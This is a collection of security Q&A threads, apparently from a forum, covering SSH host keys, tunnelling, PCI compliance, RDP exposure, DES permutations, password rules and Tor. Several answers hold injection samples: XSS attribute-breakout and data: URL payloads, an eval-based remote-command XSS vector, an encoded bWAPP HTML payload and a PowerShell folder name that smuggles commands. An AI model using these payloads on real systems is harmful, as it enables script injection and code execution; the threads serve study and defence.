Why does ssh `known_hosts` file need server name? When I push/pull repos on GitHub over SSH, sometimes there will a message about unidentified server and asks if I want to trust and add it to known_hosts. Apparently this is because GitHub has multiple IPs.

What I don't understand is why SSH needs to record the hostname in known_hosts. When I use my private key to authenticate myself to GitHub, there is no need for me to present an IP/domain name to GitHub. Why cant' SSH authenticate the server as original with only its key?

I think the other answers here are correct answers to a simpler version of the OP's question, but miss a certain subtlety in the question. SSH is frequently described as implementing public key cryptography schemes as its authentication method, but the OP has noticed that this is not strictly so. Rather, there is an additional layer of security in the SSH suite which depends on the hostname resolution system.

Although it was probably a good design choice for SSH, it has a couple of small unfortunate side effects. Namely:

It might appear to the casual user that the additional layer of security somehow uses public key cryptography to authenticate the domain name association (i.e. the integrity of the DNS system in the given case) in addition to the client itself. These users will have a false sense of security.
It might appear to the smart but uninitiated user (e.g. possibly the OP) that the public key crytography scheme is being bypassed when the user agrees to continue connecting to a host whose authenticity apparently "could not be established". These users will have a false sense of insecurity.

What is being bypassed in (2) is only the additional layer of security, on top of the public key cryptography scheme, related to hostname resolution.


Negative consequences of forced encryption of unencrypted secvices Are there any negative consequences to encrypting an unencrypted service/protocol like FTP, VNC, telnet, and so on by using forced encryption like ssh tunneling or OpenVPN tunnels?

Not knowing the use case, it is difficult to anticipate what would count as a downside.

But performance is often a problem. TCP has a flow control feature whereby it automatically slows down in response to perceived network congestion, so if you tunnel TCP on top of TCP, like e.g. FTP over ssh, or over OpenVPN with the TCP transport option, you can have surprisingly serious issues. The OpenVPN documentation explains this well, and switching to OpenVPN UDP can resolve. But then you might need to adjust default packet fragmentation, I once saw that become a problem. It helps if you know your way around a network sniffer like wireshark to diagnose / resolve such performance issues.

As for other issues, debugging the protocol you are encrypting obviously can't be done with a sniffer anymore once the traffic is encrypted,  unless you give your sniffer knowledge of the key. (Wireshark has some capabilities related to this.) But then that's also the point, so not sure if we should consider it a downside.

You'll also need sufficient processing power to handle the encryption / decryption. I find a Raspberry Pi 3 can stream video over OpenVPN very reliably (if you use UDP transport option and resolve any packet fragmentation issues), but that Pi is kinda busy. I find the processors in some cheap routers are not able to encrypt / decrypt that quickly - so just depends how much processing power you have conveniently available.


Are DTMF tones decoded by the DTMF producer? If I generate a DTMF(dual tone multi frequency) tone on phone A, clearly the tone gets decoded by the other phones (phone B, C...) on the call. Does the DTMF tone also get decoded by phone A?

How is the tone removed from the signal processing on phone A? Can I have the tone be interpreted by phone A?

This is interesting to me for public telephones that are used to enter a pin.

DTMF signals have no inherent meaning - they just transmit the pressing of a key on the phone. It makes though only sense to decode these if there is an application which actually expects to interpret these key presses in a meaningful way and then acts on the extracted information. And it makes no sense to decode these information on the senders side since there is nothing gained from decoding these.

That said, it might of course be possible that DTMF decoding is part of some software library or chipset which gets also used on the senders side and which due some misconfiguration or bad design will always attempt to decode potential DTMF signals, no matter if some applications expects to make use of the extracted information or not. It is only unlikely, i.e. either is not done or is uncommon.


Can Revolut be PCI DSS compliant? Basically, the Revolut app shows the PAN and CVV by default in-app and it has a "show PIN" option, how can this be compliant?

Here's a screenshot from the app, I have seen the real app and it really renders PAN, CVV and PIN.

Update 1

One of the additional problems is how the PAN, PIN and CVV get into the mobile app.

Assuming they are not cached (which would open its own sets of issues in an unsecure environment like an Android phone + opens up the issue of factory reinitialization) then it means that they are fetched on every application start,

meaning there is an API which somebody could theoretically use to pull all of the PAN/PIN/CVV information programmatically,

just let this sink in...

This would make the mobile app something completely different from a "moral equivalent of a physical card", and we're talking a 4-long application login pin code here that afaik doesn't lock out the account.

Somebody commented:

  The normal DSS rules that apply to processors and merchants aren't applied to cardholders.

Does anybody have resources about things that DO apply?

Or is the issuing security enterprise a kind of a free for all at the moment coming from the assumption that the issuer is supposed to be concerned about his own exposure and no audit of these choices needs to be performed because the fraud financial impact is issuer's and theoretically issuer's alone?

I would assume that this kind of behavior would eventually lead to breaches and a fall of trust in the mobile ewallet market, I'd love if somebody could put a bounty on this one, I'd love to see an informed authoritative answer.

Basically, they don't have to be.

While merchants and service providers are often contractually obligated to be PCI-DSS compliant, payment applications tend to be PA-DSS (Payment Application Data Security Standards) compliant and certified (if they want to be used by merchants who wish to maintain PCI-DSS compliance).

According to the PCI Security Council's document, Mobile Payment Acceptance Applications and PA-DSS Frequently Asked Questions:

  Applications used for payment-initiation—for example, those
  downloaded by consumers onto their mobile phones and used for consumers’ personal
  shopping—are seen as similar to the payment card in a consumer’s wallet.

Since Revolut isn't taking payments (well, really they are, but that's a different function than the one you're referring to), but rather acting as your personal, digital wallet in this case, the PCI Security Council doesn't see it as any different than the wallet in your pocket.


What information is exposed by simply opening an RDP connection to the internet? Microsoft, Rackspace and other hosted providers allows people to RDP into that server.

Here are a few examples:   Microsoft has something called "Azure Connect" it is very easy to expose a domain connected terminal server to the Internet by simply pressing F5 to compile in Visual Studio (albeit with certain prerequisites taken care of).

Also, IaaS hosting companies (Rackspace, AWS) expose RDP for each VM they provision.

Generally speaking about RDP:

Is the computer or NETBIOS computer name exposed though any RDP channel in 2008R2?
Does the information exposed change if NLA is enabled/disabled?
What threat mitigation actions should be done?

I do not believe this is a very good thing. There are simple programs on the net which can attack, and exploit vulnerabilities is RDP.

I suggest they look into secure VPN instead on directly opening their domain up onto the net.

If you want the serious truth:

Using TSgrinder, an attacker could try a brute-force attack using customized lists of username/passwords. Though this method takes a considerable amount of time depending on password complexity, it still is a potential threat to the network security infrastructure.

VPN on the other hand is encrypted, and secure, and takes an attacker a lot more effort to attempt to break it. It keeps ALL data transfer safe, and provides ease, and simplicity to both the back-end management, and end-user.

Hope it helps ;-)


What is the strategy used by the itunes store and Google Play to protect and securely install applications on eligible devices? The requirements for a system like itunes store or google play are as follows;

identify and authenticate the user
determine if the user has paid for a given app
if s/he has, securely transmit the app and install it on the device

What is the strategy used in this situation? In particular, is the app transmitted in an encrypted format or in plaintext?

I'm more familiar with iOS, so I'll focus on that.

All iOS apps are signed.

When connecting to the App Store, the iPhone uses the Secure Transport API, which means you're using TLS.

I'm not quite sure what you mean by strategy, but yes the apps are transmitted securely, and are signed by Apple.


How to come out of href attribute using xss? I was learning about XSS and found a website that takes my input say PAYLOAD and converts it to <a href = "example.com/search/PAYLOAD" > Link </a>

After hit and trial, I found that it HTML encodes ", ', < and > . Is there a way for me to implement alert(1) here?

Edit: Just saw that " is forbidden. Sorry. I still leave the answer as it might be useful for some people.

Of course. There are numerous ways to do this.

One example would be using  " onload="alert(1) as the payload.

This will result in <a href = "example.com/search/" onload="alert(1)" > Link </a> which is valid HTML.


How does malware load a dll from memory I am trying to understand how malware loads a dll from memory, like from a resource section. I am seeing codes all over google but i cant find sort of a pseudocode like in simple english that can explain the process. I understand c++ and pe file format for most part, just can seem to make sense of how a dll can be loaded in memory.

First of all, malware normally does not load it's own DLLs into memory. I think you confuse this with malware injecting executable code into another process (OpenProcess(), WriteProcessMemory()) and starting a new thread in that process (CreateRemoteThread()) which executes that code. This has nothing to do with loading a DLL into memory which is much more difficult than just executing code. Why should malware consist of multiple DLLs that are loaded into memory? It is much easier to write ONE malware executable instead of multiple DLLs.

Back to your question: If you want to trick Windows to load a DLL from memory this is something between very advanced programming and cracking.

One disadvantage is that you cannot use debuggers if anything goes wrong in your DLL.

You can use for example this code: https://github.com/fancycode/MemoryModule to load a DLL into memory. I did not test it because the disadvantage is that you must use special funcions to access that DLL in memory afterwards. For example to read a string resource from that DLL you cannot use the usual Windows API. You must use a function from the same library.

Some problems that occur are listed in more detail here:
https://www.codeproject.com/Tips/430684/Loading-Win-DLLs-manually-without-LoadLibrary
The author says that with his code his DLL does not have an HINSTANCE handle. This is a big disadvantage.


Malware infected ATMs in China via specialized device Hackers inserted a specialized device which was connected to the notebook into the card reader slot on the ATM and installed malicious software. 100 thousand US dollars were stolen from at least seven ATM in China.

We actively discuss this topic in Russia. http://www.plusworld.ru/daily/ustroystvo-dlya-zarajeniya-bankomatov-vredonosnim-kodom-obnarujeno-v-kitae/

Stanislav Shevchenko, CTO of SafenSoft, company that develops information security solutions for ATMs, says the following. In order to infect the ATM software, you need to have an access to computer. This device cannot allow it. Interacting with card reader doesn’t let the criminal intrude the computer itself and the report doesn’t mention opening up any parts of ATM.

Device itself looks strange compared to its function as it was described. No other incidents with usage of it are reported so far. All this makes us think that this information should be approached with caution because it’s either missing key parts of isn’t credible at all.

The NCR expert says that their company doesn’t know about this way of infection. So the possibility of the attack is very low.

Igor Korolev, Wincor Nixdorf expert, has another opinion. He would doubt this if the information was about ATMs in Russia, but this attack could be real in China. The main task was to transfer files from the card to HDD at the ATM. This task was divided into two subtasks:

Where to take files from, and;
How to transfer them. For example:

Write files to USB drive, and;
Use non-disabled autorun service to copy files to HDD.

In the Chinese case they decided to write the files to the card but memory needed to be expanded using the laptop because the card didn’t have enough space for Trojan.

Next, the question is how to transfer files to the system unit. There are a lot of ways to do it, but the easiest way is to secretly make a backdoor in ATM software.  It’s less likely that they exploited vulnerabilities in card reader driver or firmware, but it is definitely possible.

What do you think about it? Is it possible?

I don't see why it wouldn't be possible.

Related, and demonstrated on various security events:

Jon and Nils of MWR played with mobile point of service (mPoS) terminals (https://www.mwrinfosecurity.com/media/press-releases/mobile-point-of-sale-devices-could-leave-millions-worldwide-open-to-attack/), and they could exploit a terminal by just a custom bank card which had the exploit.

Example exploits were:

install firmware that logs credit card numbers
extract those logged credit card numbers
play snake on a PoS terminal :)


Is my password compromised? I just tried to reset my password on radioooooo.com.

I didn't really pay attention to firefox's warnings because I'm used to see them on our intranet at work, but I think that when clicking the "OK" button my password might have been transmitted in clear.

Here is what I did:

Asked for a password reset
Received a link by email to reset my password, that looks like this: http://radiooooo.com/#reset/XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX
Entered a new password
Clicked OK, which seemed to have sent an OPTION and a POST to http urls

Here are the requests:

OPTIONS XHR http://admin1.radiooooo.com/api/user/resetPassword [HTTP/1.1 200 OK 299ms]
POST XHR http://admin1.radiooooo.com/api/user/resetPassword [HTTP/1.1 404 Not Found 514ms]

I'm not familiar with Firefox's console but the POST does not seem to have a body, which makes me think my password was not actually sent. Here is the header:

Accept*/*
Accept-Encoding gzip, deflate
Accept-Language en-US,en;q=0.5
Connection keep-alive
Content-Length 71
Content-Type application/json
DNT 1
Host admin1.radiooooo.com
Origin http://radiooooo.com
Referer http://radiooooo.com/User-AgentMozilla/5.0 (X11; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0

And the response's header:

Cache-Control no-cache, no-store, max-age=0, must-revalidate
Connection keep-alive
Content-Encoding gzip
Content-Type application/json;charset=UTF-8
Date Thu, 22 Mar 2018 19:22:36 GMT
Expires 0
Pragma no-cache
Servernginx/1.2.1
Transfer-Encoding chunked
Vary Accept-Encoding
X-Content-Type-Options nosniff
X-Frame-Options DENY
X-XSS-Protection1; mode=block

Yup, the password was sent.  You can tell from the content length header that the body was not empty.

Firefox shows the POST data in a separate tab when you select the request.


How can I reprogram a USB to appear as a CD or HD? I know this is possible either by modifying the firmware or doing something with the partition, but does anybody know how? This can be done? Specifically I am wanting the USB drive to read as a HD or CD when plugged into the computer.

Edit:

I want to be able to convert other USB drives, doing it for other people, etc. I know they can be bought but I want to learn to do it on my own.

There are probably much better ways of doing it but if you look around (eBay) you can still get flash drives with the U3 firmware that allows flash drives to emulate CD ROM drives. The U3 software to set the drive up only works on Windows, but once it's set up it will emulate a CD drive transparently regardless of OS.


PIN transfer between payment schemes I am wondering, if it should be possible to transfer PIN in case of migrating between different payment schemes like Mastercard or VISA.

For example, when I have a card issued by Mastercard, and it will be changed to VISA, is it possible to keep the same PIN after issuing new card from VISA?

From my perspective, and what I was able to find, it should be possible, as the algorithm is based on PIN keys and offset in case of changing the PIN by user. If the algorihms are same in case of Mastercard and VISA, there should not be any issue.

Are there any specifics which should be considered to make PIN transfer happen?

The PIN does not depend on the card number or to the type of card but is an independent property. In fact, many providers let you choose your own PIN and also let you change an existing PIN.


How to look up permutation tables in DES? For finding out the final permutation or initial permutation in DES Encryption, we need to look up permutation tables.

Taking an example: Find the output of the initial permutation box when the input is given in hexadecimal as: 0x0000 0080 0000 0002.
After reading the solution, I am not able to understand:

How is the bit 25 and bit 64 1s?
How does in final permutation bit 25 becomes, bit 64 and bit 63 becomes bit 15?

Please explain the outcomes.

DES is specified in FIPS 46-3, which is a rather old standard that uses a somewhat uncommon numbering of bits within bytes. Namely, they start at 1, and count bits from left to right.

So, in the following sequence of bytes:

00 00 00 80 00 00 00 02

First byte is bits 1 to 8, second byte is bits 9 to 16, third byte is bits 17 to 24, fourth byte (the one with value 80) is bits 25 to 32, and so on. If you consider that 80 is written in binary 10000000, and that these bits are thus numbered from 25 to 32 left-to-right, then bit 25 has value 1. Similarly, the last byte (02) contains bits 57 to 64; bit 63 has value 1.

The "solution" in the document you link to contains the sentence:

  Given the hex input, when we expand it to binary, we find that only bit 64 and bit 25 are 1s and the other bits are 0s.

which is wrong, and probably a typographic error. It should read "only bit 63 and bit 25 are 1s".

The "initial permutation" is specified on page 10 of FIPS 46-3; it lists the bits of the output of the permutation, and says where they come from (this is a "comes from" table, not a "goes to" table). The input bit 25 goes to output bit 37 (the value "25" is the 37th in the table), while input bit 63 goes to output bit 57. This should yield:

00 00 00 00 08 00 00 80

which is not at all what the document lists as "solution". Indeed, the solution talks about the "final permutation" (while the question was about the "initial permutation"). If we suppose that the question also has a typographic error (the author wrote "initial" but thought "final") then we can try the final permutation, whose table is also on page 10 of FIPS 46-3. In that table, bit 25 of the input goes to bit 64 of the output (the number "25" appears as 64th, i.e. last, element of the table of IP-1), while bit 63 of the input goes to bit 15 of the output (the number "63" appears as 15th element in the table). In that case, this would yield this output:

00 02 00 00 00 00 00 01

which is what the "solution" gives as correct answer.

Summary: the document contains two errors:

In the question, it says "initial permutation" but it should be "final permutation".
In the solution, it says "bit 64 and 25" but it should be "bit 63 and 25".

With these two fixes, the question and the solution now match each other.

I have not looked at the other questions/solutions, but two such errors in the first question shed a poor light on the document quality.


Why is DigiNotar CA still in my Mozilla Firefox? I was just checking in my browser trusted certificates and surprisingly I saw that DigiNotar CA is there... as we know DigiNotar suffered a security breach back in 2011.

  DigiNotar was a Dutch certificate authority owned by VASCO Data
  Security International, Inc.1 On September 3, 2011, after it had
  become clear that a security breach had resulted in the fraudulent
  issuing of certificates, the Dutch government took over operational
  management of DigiNotar's systems.[2] That same month, the company was
  declared bankrupt.[3]

From https://en.wikipedia.org/wiki/DigiNotar

Why is that garbage CA even there?

It's not really a cert, it's really more of an anti-cert, there to block DigiNotar even if some dumb user tries to click through the "Add Exception..." button.

The evidence is that it says "Could not verify this certificate because it is not trusted".

As pointed out by @JohnDeters, you can't revoke a self-signed root CA, so the only reason a root cert would not be trusted is if you open the "Details" tab and see that it's not actually a cert, but some weird Firefox object called Builtin Object Token:Explicitly Distrust DigiNotar Root CA.


Wondering what "v" is, in SJCL Library encryption output SureSure = sjcl.encrypt("password", GetUserInputSTUFF, {
    adata: "{4687f36d-99d4-4223-ae53-46041297bef5}sbDU9DHzf0v3doe7aouZjEbW92750001489303Ktqr"
});

Output:

{"iv":"a6J6pjHFos2HOIghbEkGLw==","v":1,"iter":50000,"ks":256, //.... }

What is "v" and would changing it affect the security?

In one of their introductory pages, SJCL do not mention it, nor have I been able to find info concerning it elsewhere.

Judging by the source code, it's a version number of the ciphertext, but the value v is never set or used. Also, it is not documented, so this is pure speculation.

Normally, a version number is not required, because checking which fields are set should be enough to determine the format of the ciphertext. Since the ciphertext format of SJCL is stable, the version number was never changed and it doesn't lead to any special code depending on the version number.


Does Apple backport fixes? Does Apple backport fixes for older versions of their software like OSX 10.8.5 or iOS 7.1.2?

I tend to stay behind the curve a little with new devices because I find them to be more reliable and cheaper. For example, when iPhone 6 came out, I got an iPhone 5s. The iPhone 5 is not quite 3 years old but I have not seen any updates for iOS 7.1.2 other than to upgrade to iOS 9 which sounds like a radical action.

Apple releases updates for older versions of their software including operating systems, however at some point in time they stop doing so for a certain major version, which indicates the end of support.

Apple does not publish a clear support calendar for their software products like it does for hardware.

This page lists Apple security updates to their major software:

OS X 10.8 has not seen an update since Aug 2015
iOS 7 has not been updated since June 2014

As a general rule of OS X Apple has supported current major version along with two previous ones.


Password authentication using DynamoDB I'm working on a Mac app. I have users stored using DynamoDB.
Authentication is needed to enforce access control on system-internal operations, such as  uploading files to Amazon S3. Of course, I would want a secure authentication mechanism.

I thought about one-way hashes. The hashed password would be stored in DynamoDB.
For authentication, I'd make a request, then hash the password the user entered and compare the stored and the transferred hash.
With a network-sniffer, an adversary would be able to see the hashed password.

Like I said, authentication is only needed internally, so there is no other way to get the credentials than though the app.

Could there be security issues with this approach?
Also, which hash function do you recommend?

Edit: This is not relevant to this particular question, but an advice on the subject in general.

It sounds like what you really want is a proper authentication mechanism. You should not try to roll your own, as it is considered bad practice. One secure and reliable authentication mechanism is HTTP Digest Access Authentication, which is deeply anchored in the HTTP framework. It is a challenge response protocol, meaning that something along these lines happen, when a user tries navigating to the "upload files" mechanism:

User navigates to http://example.org/protected/upload.html
Server notices that the /protected/ directory or the upload.html file is protected by Digest Authentication and responds with a 401 Authorization required error code. In it is a challenge for the user agent (the web browser) to respond to. The answer is calculated using the challenge, the user's credentials (username and password) along with some other information.
User enters password, leading to the user agent providing the server with an Authorization header, containing the response to the challenge
The server, using the credentials he has stored on the user, calculates the same response value using the same data that he sent the user.
The server compares the received and the locally generated response value, and if they are equal, grant access to the protected realm

All this is done using MD5 hashing as a standard. The application and servers can be configured to use MD5, SHA-X or any hashing algorithm - even iterated hashing, as long as the same procedure is followed on each side of the communication.

MD5 is considered broken, in the sense that it is fairly easy to find collisions. This is not a problem for this authentication process, as it requires a form of a preimage attack to successfully collect the password. This is only possible theoretically with a computational complexity of 2123.4.

If you are intimidated by this, or the scheme does not fit what you really need, at least store your password in a salted, hashed way, i.e. the database contains:

username | hash_function(password+":"+salt) | salt

Here, SHA-256 should be alright.

Please ask for more details on HTTP Digest Auth. if interested.
Also, consider adding your type of server application (Apache?) to the question.


How bad is a Self Contained XSS attack? Some of you might be familiar with this attack called Self Contained XSS. I recently stumbled upon this article about it. So how bad this kind of attack can be, even though this doesn't have access to the current DOM elements? Has anyone seen this in the wild?

Does this affect mobile browsers too?

Another useful link.

Self-contained XSS, is as bad as XSS itself. It's just one of the ways of supplying the payload. The links in your question describe two different vectors:

data: URLs - all modern browsers (including mobile) currently support data URLs in various context and, of course, this gives another vector of supplying XSS payload - and a chance of bypassing many old anti-XSS filters. The most common way is e.g. adding an <iframe> with src of data:text/html,<html><script>alert(/xss/)</script></html>, but there are many, many other ways how to use data URLs for XSS. You can look at some of them by looking for data: at HTML5 security cheatsheet

Has it been used in the wild? Yes, for example I used it to exploit a Piwik XSS vulnerability

The other link described planting an XSS 'shell-like' payload. So, instead of supplying a final exploit, attacker inserts a payload that will request & execute further commands from attacker. Given example is: with(location)with(hash)eval(substring(1)) but there are many similar vectors.

So, to summarize - self contained XSS is not yet another XSS type (like stored XSS or DOM-based XSS), they are just ways of how the payload looks like. You can't really say that it's more dangerous than XSS itself.


Should a space in a password count as a symbol when checking for complexity? There is no doubt in my mind that spaces should be allowed in passwords. I see some websites disallow spaces, symbols in passwords and even enforce minimum length which seems t
otally nonsensical to me.

Normally I'd check that user passwords contain:

minimum of 6 characters
Upper case letters
Lower case letters
Numbers
Symbols

Here's my question:

Which of these categories should space fall under? Can I count it as a symbol? Or is it in it's own category adding nothing but length to the perceived complexity of the password?

Counting a space as a symbol would allow the following password:

"Ab1   "

Which frankly does not look safe so should I allow the spaces to count as symbols? (and do they add enough complexity to the password to be counted as symbols?)

This is the JavaScript function that I'd usually use to check passwords but given the above password this function will return false, deeming it insufficiently complex.

function checkPassword(password) {
    if (password.match(/[A-Z]/)
      && password.match(/[a-z]/)
      && password.match(/[0-9]/)
      && password.match(/[£:#@~\.,|(etc....)]/)
      && password.length >= 6) {
        return true;
    } else {
        return false;
    }
}

From a complexity perspective it doesn't matter whether you classify a space as a symbol or in a class of its own, the more characters that can be used in a password the harder it will be to crack, provided people use the complexity to its full potential.

From a practical perspective given the code above your best bet is to add it to the symbol list, as if you added it as a separate line you would make it a requirement to put in a space, which would defeat the purpose as that would be a gift for anyone looking to crack your passwords - they already know one of the characters.

I must point out that the argument you use saying that "Ab1   " isn't a good password would go for any of the other symbols you allow as you code would treat "Ab1@@@" the same way. "AAAb1 " and "Abbb1 " would be equally permissible, and no stronger either.

My main recommendation for you would be to require longer passwords as 6 characters is pretty weak, no matter what complexity requirements you have. 8, or preferably 9 characters would be orders of magnitude stronger.


Is this Windows local code execution bug also a security vulnerability? I stumbled on a Windows bug leading to code execution. I believe it should be categorized as a vulnerability but Microsoft does not recognize it as such. I would like to read other opinions.
Functionality
The bug affects the context menu "Open PowerShell here" which is activated when a user SHIFT-right clicks on a folder in Windows Explorer.

Normal behaviour
Normally that command is supposed to open a PowerShell terminal with the working directory set on the specified folder.

The Bug (Vulnerability?)
The bug is triggered when a folder contains a single quote (apostrophe). In that case the PowerShell terminal executes what follows the apostrophe as if it were a series of PowerShell commands.
For example when opened in this manner, a folder name of Folder Name';calc;echo pwned;' would open the calculator and write pwned on the terminal, as follows:

Possible Implications
This bug could be abused leading to unauthorized code execution in those contexts where victims are likely to use PowerShell on folders names crafted by attackers (USB keys, ZIP files, network shares). It requires user interaction which for certain classes of users is part of the normal daily workflow. It is not easily discovered as malicious folder names can be hidden by preceding them with long strings and following them by clearing the console.
What I did so far
I submitted the bug to the Microsoft Security Response Center, who replied that it "does not meet the definition of a security vulnerability". The CVE-ID submission form instructs to contact Microsoft directly. Sans and the my national CERT did not reply.
Questions

Would you consider this as a security vulnerability?
If so, how would you classify it? (injection, local/remote code execution etc.)
Should it be covered by the Microsoft Bug Bounty program?
How would you report it given the reactions?

Interesting bug you found... Apparently the directory parameter passed to PowerShell isn't properly escaped.

Is this a security vulnerability?

IMHO it is one, but not very dangerous per se. If somebody was to open PowerShell in your crafted folder, there are simpler methods to achieve code execution (e.g. as Windows by default includes the current directory in the PATH). One danger of your bug is that the malicious code hides in the folder name instead of any script file, so it is less likely to be caught by an antivirus solution.

If so, how would it be best classified? (injection, local/remote code execution etc.)

Lack of proper input handling

Is it covered by the Microsoft Bug Bounty program?

Based on the response from the Microsoft Security Response Center you posted, apparently not.

How should one report it given the reactions?

Report it as a "regular" bug with the Windows feedback app.


Is it secure to ship public key with license file? I've implemented a licensing client and server for our web-applications.
Currently there is only one way for licensing an app, user should manually upload the license file using specified form and menu in the management section.

I have four ways to publish the associated public key that is required to ensure license file's integrity:

Using a key server. Application downloads the public key from the server. This is not always possible, some of our customers have restricted internet access for their servers.
Hard-coding the public key. The easiest approach, but if we end up using several keys, we're going to have several different builds! And it'd be very painful to change the key afterwards.
Ship it as a file beside web-application's files. This way it's easier to change and replace the file.
Appending the public key inside the license file. This method seems very flexible and it's the best way that I came up with so far.

I'll be grateful to know your recommendations and whether it's secure to publish the public key with each license file, or not.

No.

You want to ensure license file's integrity by using a public key to verify. However, if you let your app receive the public key with the license file, an attacker ( who want to change the license file ) could just change the content, generate a new key to sign the content and replace your key with their key.

And your app will use attacker's public key to verify the signature, which is made by the attacker.


Security purpose of asking admin password to mount partition on Linux So I divided my 250GB laptop drive into 2 partitions and some swap. On the second partition which is an ext4 60GB partition I installed Fedora 17. On the other bigger NTFS partition I've got Win XP and files I use when running both operating systems.

When I wanted to access the NTFS partition fedora asked me for my admin password to mount that partition. Why does it do that? What security purpose does it have?

Mounting the NTFS partition every time I boot would be cumbersome. I see a lot of guides on how to circumvent this but I'm not the kind of person who just goes around changing things without understanding them.

Perhaps a more straight question would be: If I do this how would that effect the security of my system? Should I do it, to avoid having to mount my NTFS partition every time I boot into Linux?

When I wanted to access the NTFS partition fedora asked me for my admin password to mount that partition. Why does it do that? What security purpose does it have?

As everybody else has said, you must be the root user to mount partitions, barring some special exceptions such as defining the partition and setting the user flag on the entry in /etc/fstab.

Why this is important to restrict is because mount can layer any mount point on top of any other directory, or even just one directory tree on top of another. With permission to run mount, I could put /home/jeff/bin on top of /bin using mount /home/jeff/bin /bin -o bind. Suddenly everybody is using the version of su, ls, or anything else I wish from my directory.

As doing the above would demonstrate, mount points don't need to be empty. Everything in a directory that is mounted on top of simply becomes unaccessible. Mount is capable of turning just about anything into a directory structure too, not just partitions. Loopback filesystems and remote network drives are also possible mount sources.

So, in multiuser system, one isn't able to walk all over the filesystem structure using mount because it would completely break security restrictions and any assumption that files are coming from the location you expect them to be because somebody could simply mount one directory to mask another.


Penetrate Testing Java Web Applications First thing first; this is something I have never done before.

I have a web application written in Java (JSP and Servlet) and use MySQL as the database. Application is deployed in Amazon EC2, an Ubuntu instance configured all by my self.

Now I have a very critical "must" perform requirement to see the security holes of this application. I have been asked to do Penetration test on this.

I have below questions.

When performing this test, do I have to do in my live application or in the application running in my local machine (localhost) ?
I found bunch of online tools which only accepts an URL and do the test. These tools are recommended and professional ?
What are the recommended tools available for Java web application penetration test? Are they "software" or kind of "API" where I have to program the entire test spending lot of time?

You should get a professional to perform the test.

I however get the feeling that this not an option for you - so communicate to the person who hired you what you can do:

You can use Static Analysis tools - There is a whole list of Open Source and Commercial tools available on the OWASP Secure Code analysis page.
You can use Dynamic Analysis tools (or Vulnerability scanners) - See a list of Open Source / Free and commercial tools available on the OWASP Vulnerability Scanning Tools page.
(You / they can hire a Penetration Testing company to perform a penetration test).

It should be noted that running Static and Dynamic analysis is not the same a professional penetration test, but it should catch some of the low hanging fruit.

To answer the question of the location/environment of the Penetration Test - I advise that you do a Penetration test in an environment which mirrors your production environment - especially if you already have clients using your application.


HTML payloads work on burp but not on browser I was looking into bWAPP.
In the HTML GET Injection section, I entered

%25%33%63%25%36%38%25%33%31%25%33%65%25%36%31%25%37%30%25%37%30%25%36%63%25%36%35%25%33%63%25%32%66%25%36%38%25%33%31%25%33%65

as payload and it worked on burp suite.

This was the result:

On the other hand, I submitted the encoded html payload in the form field and the exploit didnt work on the browser.

Here is the output:

Also, I right-clicked burp repeater window>Request in browser>In original session and it worked.

I am really not able to understand why it is so.

When using Burp, you are injecting the code directly to the server without the browser-side javascript or tools.

When you enter the payload on the browser, it is processed by the browser-side javascript and tools.

So, what you are seeing is the potential that the browser is sanitising the input before sending to the server. That's why tools like Burp are so useful for testing.


When is it best to use a Rainbow Table attack? Under what circumstances that a Rainbow Table attack is best used?

Given that a Rainbow Table attack means that one must first precompute and store a lot before the attack can be done, it is best used when this trade-off is doable and it is worth the problem. This means for once that everything precomputed fits even into an acceptable storage. Additionally the rainbow table  should get used many times, so that the huge overhead of precomputing once gets pays off by using it a lot.
A typical example where this works are breaking unsalted password hashes: the hashes for typical passwords can be precomputed once and then used again and again to crack new password dumps. That's why unsalted passwords are a bad idea.
A typical example where this does not work are properly salted passwords: with the random salt one needs way more time and memory to store all possible hashes for a typical password and this effort does not pay off. That's why random salting is the usual way to defend against rainbow table attacks.


How to detect spyware over HTTP? I am trying to detect spyware on my PC by traffic analysis. I am connected to a VPS (the sniffer) by a VPN and I am going to select all the sent data by the POST method. Is this correct? I mean the only way to send data out via HTTP is through the POST method, (leaving out CONNECT) correct?

There are countless ways spyware can exfiltrate information, including, but not limited to:

HTTP using a method such as GET, POST, PUT, etc.
Raw TCP or UDP payload contents.
Hidden in TCP or even IP headers (e.g. smuggled in the URG pointer).
ICMP payload contents, which are normally hidden.
Induced timing variations in legitimate network traffic.

Checking for sensitive data sent over HTTP POST will not help you detect spyware as there are so many other ways to exfiltrate information from a compromised server. Unfortunately, you will need to know what you are looking for in order to detect spyware traffic. However, if the spyware is not particularly advanced, there are many operating system-specific tools that you can use which will tell you what processes are communicating with the network. This of course assumes that the spyware is not running as a privileged user or in any other privileged context (e.g. kernel mode), otherwise it could hide from any such tools.


Could TOR nodes collect IPs and filter them to unmask .onion url IP addresses? I feel that I generally understand TOR onion routing. From what I understand, the node knows the IP it is receiving data from and the IP it is sending data to. So surely a node can collect the IP addresses and filter out any other node IP addresses (publicly available) and then collect the rest. IP addresses that come up frequently could be accessed and regular TLDs like google could be excluded. If they aren't then it is more than likely that they are one of the popular .onion IP addresses.

Obviously this isn't hugely compromising since you don't know which .onion address it is but maybe more could be done once you have these addresses. Obviously it requires a node with a lot of traffic through it too but is it possible in theory?

Is this a reasonable assumption of the routing model? If not where did I go wrong?

You're talking about attacks by an adversary with a partial view of the network; which is possible, but you actually have to suspect your client and server ahead of time, and in practical terms you have to have control and visibility over a huge amount of network space.

The Tor FAQ may be a good place to have a look, but essentially the attack is possible given:

  A bad first of three servers can see encrypted Tor traffic coming from your computer. It still doesn't know who you are and what you are doing over Tor.

and

  A bad third of three servers can see the traffic you sent into Tor. It won't know who sent this traffic.

Someone would have to control at least three servers to make the match, and in practice would have to control many, many more as there's no way of determining which three servers any given connection is going to use in a network circuit.

Now scale this up; you want to just identify popular .onion sites, but you're seeing traffic coming in from IPs and out to IPs. You have no idea, none, which traffic is 'response' traffic, and which is 'request' traffic, you have no idea if those IPs are simply relays that happen to be chosen a few times - it's very possible in this scenario that you never see the IP of any popular .onion sites. Additionally, Tor circuits are built to resist this sort of attack.

Specifically if you're watching all traffic in and out, and you identify 1.2.3.4 as being popular - you don't know if that's an endpoint, or a router, a server/client uploading or downloading something. All you know is that it's Tor traffic. Tor is set up so that that's not really interesting information - the fact that you're running Tor isn't a secret (and as you noted, they publish the list of exit nodes for blacklisting purposes, but all non-bridge nodes are listed in the regularly published relay descriptors).

It's a bit different if you already have some suspects, timing attacks can work in this case - but at the end of the day, you can likely only show that two machines are communicating, not what they're communicating about, and you don't definitively know they're not just a router in the transaction.

